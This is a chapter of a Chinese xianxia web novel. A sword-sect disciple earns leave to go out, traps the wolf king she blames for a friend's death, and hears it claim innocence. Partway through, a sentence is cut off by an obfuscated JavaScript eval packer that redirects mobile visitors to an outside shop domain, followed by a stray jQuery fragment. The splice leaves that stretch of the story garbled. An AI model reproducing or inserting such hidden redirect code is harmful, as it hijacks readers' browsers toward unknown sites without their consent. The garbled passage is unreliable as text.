自那日被云册掌门一番刺激之后,陶溪更加勤奋自勉。什么叫天资过人,刚过易折?什么叫无缘仙途,强留不幸?
陶溪偏偏不信这个邪,她的命运何时掌握在这种虚无缥缈的说辞里?
气愤不过,陶溪一脚踢起长剑,接过剑用足了十足的力气砍在了对面的问剑石上,留下了一道寸余的剑痕。
陶溪定睛一看,把剑收入剑鞘,摸上了剑痕,有些惊讶:“我居然留下了痕迹?”
所谓问剑石,是剑阁弟子必须经历的一向考核。问剑石坚硬如玄铁,刀剑不侵,寻常的力道在问剑石上完全是挠痒痒,压根不会留下任何痕迹。唯有剑意人心相通,才有可能在问剑石上留下刻痕,剑术越厉害的人,刻痕越深。
修为可能做伪,问剑石却不会。所以,剑阁弟子想要检验自己剑术功底,问剑石这一关是非过不可。
原本,陶溪入门不久,来问剑石为时尚早,只不过那日云册来了一遭,给陶溪刺激得不轻,越发勤勉刻苦。杜慈知道她心中苦闷,便许下承诺。
“你若能够在问剑石上留下痕迹,我就准许你提前出剑阁。”
那时,陶溪哪还有丝毫犹豫,几乎是生怕师父反悔连忙点头。于是,她就来问剑石上砍了一个月的石头。
今日,终于才有了些成就。
欢呼一声,陶溪抱着剑就直冲冲地冲进了杜慈的剑阁,人未到,声先至。
“师父!师父!我成功了!我留下剑痕了!”少女的雀跃声穿透墙壁,清晰地传入耳中。
杜慈握着剑谱的手一段,眉尖一挑有些诧异,陶溪的天资确实出色,只是没想到会如此出挑,寻常弟子想在问剑石上留下刻痕,少说三个月起步,结果她只用了一个月,这种天赋属实罕见。
“大声喧哗,身无体态,成何体统。”
陶溪“嘿嘿”一笑,抱着剑挪进了剑阁内。
“师父,我这是太开心了!所以才……忘了仪态。”
放下剑谱,指尖轻敲了一下桌面,杜慈道:“得意忘形说得就是你这种,下次不可再犯。”
陶溪立马点头顺着杜慈的话,表现得很是乖顺。
“你想出剑阁?”
“是,剑阁……”本想说剑阁就他们两个人,无聊得快闷死她了,想到杜慈常年一人待在剑阁,自己这么说未免伤人,于是,她话锋一转,换了另一套说辞。
“师父,这上蜀山几个月以来,我连宗门都没认全,人都没见过几个,不知道还以为师父严厉过人强迫我学习,知道的才明白师父用心良苦为我着想,而且以后下山历练也是要同门师兄妹们一同结伴的,早日结交同门既是为师父正名,也是团结同门之谊。”
一番话说得动之以情晓之以理,让人不得叹服。杜慈此刻怎会不知道陶溪那点小九九,这番巧言令色,好像真的不让她出剑阁是世上最大恶极之事。
“你的意思是,有人对此有不满?况且,你都没出剑阁,你怎么知道其他弟子怎么想的?”
陶溪顿时一阵心虚,她挪了几步在杜慈旁边坐住,轻扯住杜慈的衣角。
“这是我猜的,旁人肯定不敢妄自议论师父,所以只要我现身,那些谣言就会不攻而破!”
如此有理有据,到真让人找不到破绽。本就是答应好的事情,杜慈也无意真不让陶溪出剑阁,只是抽出衣角,转头道:“从今日起,你可以进出剑阁。不过,与旁人不可起冲突,如果有人欺负你,随时可以来找我。”
激动雀跃之心未起,又是一盆冷水泼了上来:“不可因为贪玩而疏忽了课业。”
陶溪闷闷答道:“知道了,师父。”
好不容易出了剑阁,陶溪轻点了自己一身的行装,脚下一点没犹豫,直奔下山而去。
她等这一天,可是等了很久。
从前是因为能力不够,下了山也做不了什么,现在有了修为,剑术也有小成,是时候为杜远报仇了。自打上山那日,为杜远报仇的念头就一直徘徊在脑海里,她又不是什么冷血无情之人,看到他人为了自己而死却无动于衷。
原本她可以开口求杜慈帮忙,只是想到杜远为自己而死,亲自报仇都做不到未免太不仗义,陶溪就打消了这个念头。
从小空间内掏出锁灵笔,二话不说就载着陶溪晃悠悠下了山。从前轻而易举能够迷惑她的障眼法,此刻在她的眼中如同一面简陋的镜子,照镜子的人看到是镜子早已经陈设好的假象,而在镜子之后的自己,则将真相看得清清楚楚。
群山之中寻找一匹野狼无异于大海捞针,陶溪坐着锁灵笔游荡了一会儿,支着头叹了口气:“这样下去不是办法,总得想点办法……既然我自己去找是找不到,如果让那只狼来找我呢?”
陶溪努力回想了一下那天上山的情景,左思右想,也没琢磨出什么特别之处。寻常的山,寻常的天,总不能说是他们两人比较特殊?
摇了摇头,将这不切实际的念头甩了出去,突然,脑海中浮现了最后一幕,狼王看她的眼神里,是不甘,是失望,唯独没有寻常野兽一样的无知和嗜血杀性。
如果说,那只狼最开始的目标就不是他们两人,而是蜀山呢?
看样子,那只狼王已经开了智,吃人不过是生存,已经不能满足它的需求,想要追求更高,只会是褪掉一身妖皮由畜牲变成人。蜀山灵气充盈,正是它由畜牲转变成人的关键。
想通了这一点,陶溪就有了思路,那只狼想要灵气,那自己就给它灵气,不怕它不来。
陶溪又往小空间里掏了掏,摸到了一个小香炉。香炉巴掌大小,小巧玲珑,看着十分可爱。通体晶莹剔透,细看之下,发现这樽小香炉完全是在一整块玉的基底上挖空雕刻而成。
小香炉名为引仙炉,通常为下山历练的弟子所携带,凡间气体斑杂,灵气稀少,想要就地修炼还得分心辨别灵气。于是为了能够降妖除魔时能够及时补充灵力,就造出了这玩意,它能够吸纳周围灵气将其凝聚成一团,在它旁边修炼则能够事半功倍。
当初杜慈给陶溪的东西可谓是齐全,从入门书籍法宝到修行解惑,应有尽有。无聊时,陶溪经常去令牌的小空间里逛逛,这一研究,就淘出这么个宝贝,正好解她眼前燃眉之急。
点上香炉,一股说不清道不明的香气自香炉中散发出来,没一会儿,陶溪的衣角都沾染上了这股香气。
静坐了一刻钟,草丛里悉悉索索地传来了动静,陶溪踢开脚边的石头,最终落在草丛里,“吱呀”一声冒出几个毛绒绒的脑袋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623154|205368||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。也许这个石头惊扰到了它们,几只兔子拔腿就跑得无影无踪。
陶溪叹了口气:“怎么来的是兔子?”
说话间,头顶“簌簌”落下树叶,抬头一看,松鼠从林间不断穿梭,聚集到了这里。枝头上也乌泱泱地飞来了一群鸟,就这么占据了树冠。
等回过神时,周围不知何时聚集了一群山里的飞禽走兽,团团围住了陶溪。偏偏这么多动物里,唯独少了那只狼王。
按道理来说,能吸引来这么多飞禽走兽,没理由勾不来那只狼王?除非,它知道这是陷阱?
被这个念头惊得打了寒颤,陶溪抚住躁动的心,抬眸间对上了一双泛着青光的眼睛。眼睛的主人隐藏在群兽之后,蛰伏在草丛之中,茂盛的林间彻底掩盖了它的身形,如果不是陶溪对这双眼睛印象太深,恐怕也要略过去。
是那只狼王!
念头一起,陶溪朝着狼王丢出捆妖网,手中掏出长剑借着力飞过去,“噌”的一声,长剑直直地没入树干,拦住了想要撤退的狼王。眼看后退无门,狼王想要蓄力跳开,一张从天而降的巨网就这么张开将它捆住,狼王越是挣扎,捆妖网绑得就越紧。
经过这么大的动静,周围瞬间如鸟兽散,陶溪拍了拍手上的灰尘从一旁走出,上下打量了狼王一眼,很是感慨:“你这小畜牲确实厉害,让我一顿好找,没有这捆妖网今日还真抓不住你!”
狼王青色的眼睛紧紧盯着陶溪,丝毫没有动物该有的凶性,只有不同寻常的平静。
用了些力气将剑拔出来,陶溪举着剑围着狼王转了一圈:“开了智也还是改不了吃人的凶性,你害我朋友,一命还一命天经地义。”
“等等!”
陶溪的剑停滞了一瞬,诧异地抬起头:“你、你——你会说话!”
狼王看了一眼,继续开口:“你是想为你的朋友报仇?那日,他身体已至极限,最后在我面前化为灰飞,我并没有害他。”
“怎么可能?”陶溪的剑依旧没有放下来:“他只是个凡人,死了怎么可能化作飞灰?而且,你已经开智甚至能说人话,我如何保证你不是在骗我?”
狼王低下头靠在了腿上:“你不信我,又为何信他是个真实的凡人?”
嗤笑一声,陶溪眸中冷光一闪而过:“他算是我的朋友,而你,只不过是个开智的畜牲,勉强算得上是妖,你说,我信朋友还是信你这只妖?”
狼王低吟一声:“他一介凡人知道破解仙山的障眼法难道不奇怪?我于山间徘徊良久,受灵气滋养开了灵智,一直苦寻入仙山的法门而不得,他一个小小的凡人又怎会知道?”
狼王顿了顿,见陶溪果然被自己有些说动,于是继续开口:“那日,我并没有害你们,也没有让手底下的狼群害你们,你亲眼看到了,不需要我明说你就该明白,我无意杀人,只想入仙山,脱去这一身妖皮。”
知道这狼说得不无道理,思索片刻,陶溪收剑,但依旧没有收回捆妖网。脑子里眼下一片乱,理不清剪不断,纠结得她头都要炸了。
狼王一个爪子扒住捆妖网,眼看着陶溪呆呆地坐在一旁的石头上,双目放空,狼王气结,愤愤不平开口试图唤醒对方的良知:“我都说得这么清楚明白了,你倒是放开我啊!”